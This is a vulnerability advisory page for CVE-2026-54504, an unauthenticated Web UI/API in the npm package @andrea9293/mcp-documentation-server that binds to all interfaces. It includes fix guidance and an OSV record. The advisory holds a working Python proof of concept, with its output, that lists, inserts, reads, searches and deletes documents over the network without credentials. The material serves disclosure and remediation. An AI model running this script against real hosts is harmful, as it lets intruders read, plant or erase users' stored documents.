CVE-2026-54504: @andrea9293/mcp documentation server Web UI API Binds To Vulnerability

HIGH
Advisory Identifier: GHSA-6f5r-5672-72j7
CVSS 8.8
CWE-668 CWE-306
Published
Advisory Summary

CVE-2026-54504 is a HIGH (CVSS 8.8) web ui api binds to vulnerability (CWE-668: Exposure of Resource to Wrong Sphere) affecting @andrea9293/mcp documentation server libraries in the npm ecosystem. The issue involves web ui api binds to all interfaces without authentication by default. Remediation is available by upgrading affected packages to version 1.13.1.

CVE-2026-54504 at a Glance

CVE Identifier CVE-2026-54504
GHSA Identifier GHSA-6f5r-5672-72j7
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-668: Exposure of Resource to Wrong Sphere
Affected Product @andrea9293/mcp documentation server
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Adjacent (AV:A)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-54504

To remediate this vulnerability, upgrade all affected @andrea9293/mcp documentation server dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@andrea9293/mcp-documentation-server fixed: 1.13.1
npm install @andrea9293/mcp-documentation-server@1.13.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @andrea9293/mcp-documentation-server

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-54504, inspect your project dependencies using npm:

npm ls @andrea9293/mcp-documentation-server

Analyze the terminal output to locate any version of @andrea9293/mcp documentation server in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.13.1), your application is affected.

Note: The npm ls @andrea9293/mcp-documentation-server command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-668: Exposure of Resource to Wrong Sphere, where the product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource. In @andrea9293/mcp documentation server, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `@andrea9293/mcp-documentation-server` v1.13.0 documents that a Web UI starts automatically on port `3080`. However, the Web UI/API appears to bind to all network interfaces by default (`*:3080` / `0.0.0.0:3080`) instead of localhost-only, and its document-management API endpoints do not require authentication. As a result, any network-reachable client on the same LAN, VM network, or container bridge can access the document-admin API without credentials. In my reproduction, I was able to enumerate documents, add a document, read its full content, search across the corpus, and delete the document through the host's LAN IP. The issue is not that a Web UI exists. The issue is that a local document-management Web UI/API is exposed on all interfaces by default without authentication. ### Details The README documents that the Web UI starts automatically and tells users to open: ```text http://localhost:3080 ``` It also documents `START_WEB_UI=true` and `WEB_PORT=3080` as the defaults. The vulnerable behavior appears to come from starting the web server without binding it to localhost explicitly. In `src/server.ts`, the Web UI is started unless `START_WEB_UI=false`: ```ts if (process.env.START_WEB_UI !== 'false') { initializeDocumentManager().then(manager => { return startWebServer(undefined, manager); }).then(() => { console.error('[Server] Web UI started (port=' + (process.env.WEB_PORT || '3080') + ')'); })... } ``` In `src/web-server.ts`, the Express app appears to listen with only the port: ```ts const server = app.listen(PORT, () => { console.log(`\n 🌐 MCP Documentation Server - Web UI`); console.log(` ────────────────────────────────────`); console.log(` Local: http://localhost:${PORT}`); console.log(` Network: http://0.0.0.0:${PORT}\n`); }); ``` With Express/Node, `app.listen(PORT)` without a host argument binds to all interfaces. In my reproduction, this resulted in: ```text LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21)) ``` The exposed API includes document-admin operations such as: ```text GET /api/documents GET /api/documents/:id POST /api/documents POST /api/search-all DELETE /api/documents/:id GET /api/config ``` I did not send any `Authorization` header in the PoC requests, and all tested operations succeeded. ### PoC Tested on v1.13.0. #### 1. Build from source ```bash cd ~/Desktop mkdir -p docsrv_repro_from_scratch cd docsrv_repro_from_scratch git clone https://github.com/andrea9293/mcp-documentation-server.git cd mcp-documentation-server git rev-parse HEAD npm install --no-audit --no-fund npm run build ls -l dist/server.js node -p "require('./package.json').version" ``` Expected version: ```text 1.13.0 ``` #### 2. Start the server with default Web UI behavior Do not set `START_WEB_UI=false`. ```bash rm -rf /tmp/docsrv_base mkdir -p /tmp/docsrv_base MCP_BASE_DIR=/tmp/docsrv_base \ WEB_PORT=3080 \ node dist/server.js \ </dev/null \ >/tmp/docsrv_stdout.log \ 2>/tmp/docsrv_stderr.log & DOCSRV_PID=$! sleep 5 echo "DOCSRV_PID=$DOCSRV_PID" ps -p "$DOCSRV_PID" -o pid,stat,cmd ``` #### 3. Confirm that the Web UI/API binds to all interfaces ```bash ss -ltnp | grep ':3080' || true ``` Observed: ```text LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21)) ``` This indicates the service is not bound only to `127.0.0.1`. #### 4. Confirm that the API is reachable through the LAN IP ```bash LAN_IP=$(hostname -I | awk '{print $1}') echo "LAN_IP=$LAN_IP" curl -sS --max-time 5 "http://$LAN_IP:3080/api/config" echo ``` Observed: ```text LAN_IP=10.0.250.230 {"gemini_available":false,"embedding_model":"Xenova/all-MiniLM-L6-v2"} ``` No authentication header was sent. #### 5. Full unauthenticated document-admin PoC ```bash cat > /tmp/docsrv_unauth_poc.py <<'PY' #!/usr/bin/env python3 import json import sys import urllib.request import urllib.error HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 3080 BASE = f"http://{HOST}:{PORT}" def req(method, path, body=None): data = json.dumps(body).encode() if body is not None else None headers = {"Content-Type": "application/json"} if body is not None else {} r = urllib.request.Request(f"{BASE}{path}", data=data, method=method, headers=headers) with urllib.request.urlopen(r, timeout=10) as resp: raw = resp.read().decode() try: return resp.status, json.loads(raw or "null") except Exception: return resp.status, raw def main(): print(f"[poc] target = {BASE}") print("[poc] no Authorization header is sent") status, config = req("GET", "/api/config") print(f"[0] config: HTTP {status}, {config}") status, docs = req("GET", "/api/documents") print(f"[1] list documents: HTTP {status}, count={len(docs) if isinstance(docs, list) else 'unknown'}") marker = "ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api" body = { "title": "network-inserted-test-document", "content": marker + "\nThis document was inserted through the unauthenticated network API.", "metadata": {"source": "unauth-network-poc"} } status, added = req("POST", "/api/documents", body) print(f"[2] add document: HTTP {status}, response={added}") doc_id = None if isinstance(added, dict): doc_id = added.get("id") or added.get("document", {}).get("id") if not doc_id: status, docs = req("GET", "/api/documents") for d in docs: if d.get("title") == "network-inserted-test-document": doc_id = d.get("id") break if not doc_id: raise RuntimeError("could not locate inserted document id") print(f"[2] inserted id={doc_id}") status, doc = req("GET", f"/api/documents/{doc_id}") content = doc.get("content", "") if isinstance(doc, dict) else str(doc) print(f"[3] read document: HTTP {status}, marker_present={marker in content}") status, hits = req("POST", "/api/search-all", { "query": "ATTACKER_CONTROLLED_DOCUMENT_MARKER network inserted", "limit": 5 }) print(f"[4] search-all: HTTP {status}, response_prefix={str(hits)[:300]!r}") status, deleted = req("DELETE", f"/api/documents/{doc_id}") print(f"[5] delete document: HTTP {status}, response={deleted}") print("[poc] DONE") if __name__ == "__main__": main() PY chmod +x /tmp/docsrv_unauth_poc.py ``` Run against localhost: ```bash python3 /tmp/docsrv_unauth_poc.py 127.0.0.1 3080 ``` Observed: ```text [poc] target = http://127.0.0.1:3080 [poc] no Authorization header is sent [0] config: HTTP 200, {'gemini_available': False, 'embedding_model': 'Xenova/all-MiniLM-L6-v2'} [1] list documents: HTTP 200, count=0 [2] add document: HTTP 200, response={'id': 'ef13280d7441d5bb', 'title': 'network-inserted-test-document', 'message': 'Document added successfully'} [2] inserted id=ef13280d7441d5bb [3] read document: HTTP 200, marker_present=True [4] search-all: HTTP 200, response_prefix="[{'document_id': 'ef13280d7441d5bb', 'parent_index': 0, 'score': 1, 'content': 'ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api\\nThis document was inserted through the unauthenticated network API.'}]" [5] delete document: HTTP 200, response={'success': True, 'message': 'Document "network-inserted-test-document" deleted'} [poc] DONE ``` Run the same PoC against the host's LAN IP: ```bash LAN_IP=$(hostname -I | awk '{print $1}') python3 /tmp/docsrv_unauth_poc.py "$LAN_IP" 3080 ``` Observed: ```text [poc] target = http://10.0.250.230:3080 [poc] no Authorization header is sent [0] config: HTTP 200, {'gemini_available': False, 'embedding_model': 'Xenova/all-MiniLM-L6-v2'} [1] list documents: HTTP 200, count=0 [2] add document: HTTP 200, response={'id': 'ef13280d7441d5bb', 'title': 'network-inserted-test-document', 'message': 'Document added successfully'} [2] inserted id=ef13280d7441d5bb [3] read document: HTTP 200, marker_present=True [4] search-all: HTTP 200, response_prefix="[{'document_id': 'ef13280d7441d5bb', 'parent_index': 0, 'score': 1, 'content': 'ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api\\nThis document was inserted through the unauthenticated network API.'}]" [5] delete document: HTTP 200, response={'success': True, 'message': 'Document "network-inserted-test-document" deleted'} [poc] DONE ``` #### 6. Cleanup ```bash kill "$DOCSRV_PID" 2>/dev/null || true fuser -k 3080/tcp 2>/dev/null || true rm -rf /tmp/docsrv_base rm -f /tmp/docsrv_unauth_poc.py rm -f /tmp/docsrv_stdout.log /tmp/docsrv_stderr.log ``` ### Impact This is a missing-authentication and unsafe-default network exposure issue for the Web UI/API. A network-reachable attacker can access the document-management API without credentials. Depending on what the user stores in the documentation server, this may allow: - reading document titles, previews, and full document contents; - searching across the entire document corpus; - inserting attacker-controlled documents into the corpus; - deleting documents; - tampering with the user's local knowledge base used by the MCP assistant. This can affect users who run the MCP server on laptops, workstations, dev VMs, or hosts connected to shared networks, VPNs, Docker bridges, or other routable local networks. This is not a claim for unauthenticated remote code execution. The issue is that the documented Web UI/API is exposed on all interfaces by default and does not require authentication for document-admin operations. A safer default would be to bind the Web UI/API to `127.0.0.1` by default, and require an explicit opt-in such as `WEB_BIND_HOST=0.0.0.0` for network exposure. If network binding is supported, an authentication token should be required for document-management endpoints.

CVE-2026-54504 Affected @andrea9293/mcp documentation server Versions

1 component(s)
Fixed Versions:
1.13.1
Product / Package Ecosystem Affected Versions Fixed Version
@andrea9293/mcp-documentation-server
npm
≥ 1.13.0
< 1.13.1
All 1 versions
1.13.0
1.13.1

References

Frequently Asked Questions

What is CVE-2026-54504?
CVE-2026-54504 is a security vulnerability in @andrea9293/mcp documentation server involving Web UI API binds to all interfaces without authentication by default under CWE-668: Exposure of Resource to Wrong Sphere.
Which @andrea9293/mcp documentation server versions are affected?
Affected versions include releases prior to 1.13.1 across affected packages: @andrea9293/mcp-documentation-server.
What version fixes CVE-2026-54504?
Upgrading to 1.13.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @andrea9293/mcp-documentation-server affected?
Yes, @andrea9293/mcp-documentation-server is affected in releases prior to 1.13.1. Upgrade your dependency to 1.13.1 or later.
What is the CVSS score of CVE-2026-54504?
CVE-2026-54504 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-54504?
CVE-2026-54504 is classified under CWE-668: Exposure of Resource to Wrong Sphere (The product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource.).
How can I check npm dependencies for CVE-2026-54504?
Run the dependency tree command: 'npm ls @andrea9293/mcp-documentation-server'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6f5r-5672-72j7",
  "modified" : "2026-07-15T23:26:57Z",
  "published" : "2026-07-15T23:26:57Z",
  "aliases" : [ "CVE-2026-54504" ],
  "summary" : "@andrea9293/mcp-documentation-server: Web UI API binds to all interfaces without authentication by default",
  "details" : "### Summary\n\n`@andrea9293/mcp-documentation-server` v1.13.0 documents that a Web UI starts automatically on port `3080`. However, the Web UI/API appears to bind to all network interfaces by default (`*:3080` / `0.0.0.0:3080`) instead of localhost-only, and its document-management API endpoints do not require authentication.\n\nAs a result, any network-reachable client on the same LAN, VM network, or container bridge can access the document-admin API without credentials. In my reproduction, I was able to enumerate documents, add a document, read its full content, search across the corpus, and delete the document through the host's LAN IP.\n\nThe issue is not that a Web UI exists. The issue is that a local document-management Web UI/API is exposed on all interfaces by default without authentication.\n\n### Details\n\nThe README documents that the Web UI starts automatically and tells users to open:\n\n```text\nhttp://localhost:3080\n```\n\nIt also documents `START_WEB_UI=true` and `WEB_PORT=3080` as the defaults.\n\nThe vulnerable behavior appears to come from starting the web server without binding it to localhost explicitly.\n\nIn `src/server.ts`, the Web UI is started unless `START_WEB_UI=false`:\n\n```ts\nif (process.env.START_WEB_UI !== 'false') {\n    initializeDocumentManager().then(manager => {\n        return startWebServer(undefined, manager);\n    }).then(() => {\n        console.error('[Server] Web UI started (port=' + (process.env.WEB_PORT || '3080') + ')');\n    })...\n}\n```\n\nIn `src/web-server.ts`, the Express app appears to listen with only the port:\n\n```ts\nconst server = app.listen(PORT, () => {\n    console.log(`\\n  🌐 MCP Documentation Server - Web UI`);\n    console.log(`  ────────────────────────────────────`);\n    console.log(`  Local:   http://localhost:${PORT}`);\n    console.log(`  Network: http://0.0.0.0:${PORT}\\n`);\n});\n```\n\nWith Express/Node, `app.listen(PORT)` without a host argument binds to all interfaces. In my reproduction, this resulted in:\n\n```text\nLISTEN 0 511 *:3080 *:* users:((\"MainThread\",pid=1781375,fd=21))\n```\n\nThe exposed API includes document-admin operations such as:\n\n```text\nGET    /api/documents\nGET    /api/documents/:id\nPOST   /api/documents\nPOST   /api/search-all\nDELETE /api/documents/:id\nGET    /api/config\n```\n\nI did not send any `Authorization` header in the PoC requests, and all tested operations succeeded.\n\n### PoC\n\nTested on v1.13.0.\n\n#### 1. Build from source\n\n```bash\ncd ~/Desktop\nmkdir -p docsrv_repro_from_scratch\ncd docsrv_repro_from_scratch\n\ngit clone https://github.com/andrea9293/mcp-documentation-server.git\ncd mcp-documentation-server\n\ngit rev-parse HEAD\nnpm install --no-audit --no-fund\nnpm run build\n\nls -l dist/server.js\nnode -p \"require('./package.json').version\"\n```\n\nExpected version:\n\n```text\n1.13.0\n```\n\n#### 2. Start the server with default Web UI behavior\n\nDo not set `START_WEB_UI=false`.\n\n```bash\nrm -rf /tmp/docsrv_base\nmkdir -p /tmp/docsrv_base\n\nMCP_BASE_DIR=/tmp/docsrv_base \\\nWEB_PORT=3080 \\\nnode dist/server.js \\\n  </dev/null \\\n  >/tmp/docsrv_stdout.log \\\n  2>/tmp/docsrv_stderr.log &\n\nDOCSRV_PID=$!\nsleep 5\n\necho \"DOCSRV_PID=$DOCSRV_PID\"\nps -p \"$DOCSRV_PID\" -o pid,stat,cmd\n```\n\n#### 3. Confirm that the Web UI/API binds to all interfaces\n\n```bash\nss -ltnp | grep ':3080' || true\n```\n\nObserved:\n\n```text\nLISTEN 0 511 *:3080 *:* users:((\"MainThread\",pid=1781375,fd=21))\n```\n\nThis indicates the service is not bound only to `127.0.0.1`.\n\n#### 4. Confirm that the API is reachable through the LAN IP\n\n```bash\nLAN_IP=$(hostname -I | awk '{print $1}')\necho \"LAN_IP=$LAN_IP\"\n\ncurl -sS --max-time 5 \"http://$LAN_IP:3080/api/config\"\necho\n```\n\nObserved:\n\n```text\nLAN_IP=10.0.250.230\n{\"gemini_available\":false,\"embedding_model\":\"Xenova/all-MiniLM-L6-v2\"}\n```\n\nNo authentication header was sent.\n\n#### 5. Full unauthenticated document-admin PoC\n\n```bash\ncat > /tmp/docsrv_unauth_poc.py <<'PY'\n#!/usr/bin/env python3\nimport json\nimport sys\nimport urllib.request\nimport urllib.error\n\nHOST = sys.argv[1] if len(sys.argv) > 1 else \"127.0.0.1\"\nPORT = int(sys.argv[2]) if len(sys.argv) > 2 else 3080\nBASE = f\"http://{HOST}:{PORT}\"\n\ndef req(method, path, body=None):\n    data = json.dumps(body).encode() if body is not None else None\n    headers = {\"Content-Type\": \"application/json\"} if body is not None else {}\n    r = urllib.request.Request(f\"{BASE}{path}\", data=data, method=method, headers=headers)\n    with urllib.request.urlopen(r, timeout=10) as resp:\n        raw = resp.read().decode()\n        try:\n            return resp.status, json.loads(raw or \"null\")\n        except Exception:\n            return resp.status, raw\n\ndef main():\n    print(f\"[poc] target = {BASE}\")\n    print(\"[poc] no Authorization header is sent\")\n\n    status, config = req(\"GET\", \"/api/config\")\n    print(f\"[0] config: HTTP {status}, {config}\")\n\n    status, docs = req(\"GET\", \"/api/documents\")\n    print(f\"[1] list documents: HTTP {status}, count={len(docs) if isinstance(docs, list) else 'unknown'}\")\n\n    marker = \"ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api\"\n    body = {\n        \"title\": \"network-inserted-test-document\",\n        \"content\": marker + \"\\nThis document was inserted through the unauthenticated network API.\",\n        \"metadata\": {\"source\": \"unauth-network-poc\"}\n    }\n\n    status, added = req(\"POST\", \"/api/documents\", body)\n    print(f\"[2] add document: HTTP {status}, response={added}\")\n\n    doc_id = None\n    if isinstance(added, dict):\n        doc_id = added.get(\"id\") or added.get(\"document\", {}).get(\"id\")\n\n    if not doc_id:\n        status, docs = req(\"GET\", \"/api/documents\")\n        for d in docs:\n            if d.get(\"title\") == \"network-inserted-test-document\":\n                doc_id = d.get(\"id\")\n                break\n\n    if not doc_id:\n        raise RuntimeError(\"could not locate inserted document id\")\n\n    print(f\"[2] inserted id={doc_id}\")\n\n    status, doc = req(\"GET\", f\"/api/documents/{doc_id}\")\n    content = doc.get(\"content\", \"\") if isinstance(doc, dict) else str(doc)\n    print(f\"[3] read document: HTTP {status}, marker_present={marker in content}\")\n\n    status, hits = req(\"POST\", \"/api/search-all\", {\n        \"query\": \"ATTACKER_CONTROLLED_DOCUMENT_MARKER network inserted\",\n        \"limit\": 5\n    })\n    print(f\"[4] search-all: HTTP {status}, response_prefix={str(hits)[:300]!r}\")\n\n    status, deleted = req(\"DELETE\", f\"/api/documents/{doc_id}\")\n    print(f\"[5] delete document: HTTP {status}, response={deleted}\")\n\n    print(\"[poc] DONE\")\n\nif __name__ == \"__main__\":\n    main()\nPY\n\nchmod +x /tmp/docsrv_unauth_poc.py\n```\n\nRun against localhost:\n\n```bash\npython3 /tmp/docsrv_unauth_poc.py 127.0.0.1 3080\n```\n\nObserved:\n\n```text\n[poc] target = http://127.0.0.1:3080\n[poc] no Authorization header is sent\n[0] config: HTTP 200, {'gemini_available': False, 'embedding_model': 'Xenova/all-MiniLM-L6-v2'}\n[1] list documents: HTTP 200, count=0\n[2] add document: HTTP 200, response={'id': 'ef13280d7441d5bb', 'title': 'network-inserted-test-document', 'message': 'Document added successfully'}\n[2] inserted id=ef13280d7441d5bb\n[3] read document: HTTP 200, marker_present=True\n[4] search-all: HTTP 200, response_prefix=\"[{'document_id': 'ef13280d7441d5bb', 'parent_index': 0, 'score': 1, 'content': 'ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api\\\\nThis document was inserted through the unauthenticated network API.'}]\"\n[5] delete document: HTTP 200, response={'success': True, 'message': 'Document \"network-inserted-test-document\" deleted'}\n[poc] DONE\n```\n\nRun the same PoC against the host's LAN IP:\n\n```bash\nLAN_IP=$(hostname -I | awk '{print $1}')\npython3 /tmp/docsrv_unauth_poc.py \"$LAN_IP\" 3080\n```\n\nObserved:\n\n```text\n[poc] target = http://10.0.250.230:3080\n[poc] no Authorization header is sent\n[0] config: HTTP 200, {'gemini_available': False, 'embedding_model': 'Xenova/all-MiniLM-L6-v2'}\n[1] list documents: HTTP 200, count=0\n[2] add document: HTTP 200, response={'id': 'ef13280d7441d5bb', 'title': 'network-inserted-test-document', 'message': 'Document added successfully'}\n[2] inserted id=ef13280d7441d5bb\n[3] read document: HTTP 200, marker_present=True\n[4] search-all: HTTP 200, response_prefix=\"[{'document_id': 'ef13280d7441d5bb', 'parent_index': 0, 'score': 1, 'content': 'ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api\\\\nThis document was inserted through the unauthenticated network API.'}]\"\n[5] delete document: HTTP 200, response={'success': True, 'message': 'Document \"network-inserted-test-document\" deleted'}\n[poc] DONE\n```\n\n#### 6. Cleanup\n\n```bash\nkill \"$DOCSRV_PID\" 2>/dev/null || true\nfuser -k 3080/tcp 2>/dev/null || true\nrm -rf /tmp/docsrv_base\nrm -f /tmp/docsrv_unauth_poc.py\nrm -f /tmp/docsrv_stdout.log /tmp/docsrv_stderr.log\n```\n\n### Impact\n\nThis is a missing-authentication and unsafe-default network exposure issue for the Web UI/API.\n\nA network-reachable attacker can access the document-management API without credentials. Depending on what the user stores in the documentation server, this may allow:\n\n- reading document titles, previews, and full document contents;\n- searching across the entire document corpus;\n- inserting attacker-controlled documents into the corpus;\n- deleting documents;\n- tampering with the user's local knowledge base used by the MCP assistant.\n\nThis can affect users who run the MCP server on laptops, workstations, dev VMs, or hosts connected to shared networks, VPNs, Docker bridges, or other routable local networks.\n\nThis is not a claim for unauthenticated remote code execution. The issue is that the documented Web UI/API is exposed on all interfaces by default and does not require authentication for document-admin operations.\n\nA safer default would be to bind the Web UI/API to `127.0.0.1` by default, and require an explicit opt-in such as `WEB_BIND_HOST=0.0.0.0` for network exposure. If network binding is supported, an authentication token should be required for document-management endpoints.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@andrea9293/mcp-documentation-server"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
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      }, {
        "fixed" : "1.13.1"
      } ]
    } ],
    "versions" : [ "1.13.0" ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/andrea9293/mcp-documentation-server/security/advisories/GHSA-6f5r-5672-72j7"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/andrea9293/mcp-documentation-server/commit/37159d4e06b8ee50c3645b2496e3d3f6d32c47f9"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/andrea9293/mcp-documentation-server"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/andrea9293/mcp-documentation-server/releases/tag/v1.13.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-306", "CWE-668" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-15T23:26:57Z",
    "nvd_published_at" : null
  }
}